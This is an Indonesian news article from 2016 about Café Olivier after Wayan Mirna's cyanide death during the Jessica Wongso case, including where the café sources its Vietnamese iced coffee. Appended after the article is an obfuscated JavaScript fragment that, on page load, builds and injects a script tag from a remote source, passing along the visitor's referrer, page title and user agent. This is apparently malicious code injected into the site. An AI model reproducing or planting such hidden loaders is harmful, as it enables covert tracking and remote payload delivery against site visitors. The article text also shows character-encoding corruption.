SigmaInteraktif.com – Tewasnya Wayan Mirna membuat CafA� Oliviar sempat sepi pengunjung, sehingga selama dua bulan terahir omzetnya menurun. Tetapi setelah dua bulan cafA� pun mulai ramai lagi, bahkan menu es kopi Vietnam yang dipesan Jesica untuk Mirna yang banyak diminatai pengunjung.

“Sebelumnya peminatnya biasa saja, tapi semenjak kejadian itu yang pesan es kopi Vietnam meningkat. Market kami juga ikut meningkat,” kata Devi dikutip dari Tempo.co. Juma��at 5/8/2016.

Dalam persidangannya, Jesica Kumala Wongso yang merupakan tersangka pembunuhan Wayan Mirna duduk sebagai terdakwa. Jesica dituduh sebagai pelaku yang menaruh racun sianida pada es kopi Vietnam yang diminum Mirna.

Devi menjelaskan bahan baku es kopi vietnam bukan dari negara Vietnam, melainkan produk dalam negeri. “Kopi yang digunakan itu dari Banyuwangi. Yang membedakan, kemasannya lebih eksklusif,” katanya.
Bahan baku pembuatan kopi tersebut sama dengan kopi pada umumnya, perbedaannya hanyalah cara penyajiannya. “Jadi kalau yang lain saringannya pakai kain. Tapi kalau di kita pada saat kejadian filternya dari keramik. Kita beli tidak bikin. Dan itu foodgrade,” jelasnya.

Dia mengaku bahwa membeli bahan kopi tersebut tidak langsung dari pabriknya, tetapi Kopi tersebut dikirim dari pabriknya di Banyuwangi ke pemasok di Jakarta. Dari pemasok itu baru kemudian dibagi-bagi ke kafe-kafe di Jakarta termasuk CafA� Olivia. Ungkapnya. ( Acienk ).
uot;];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}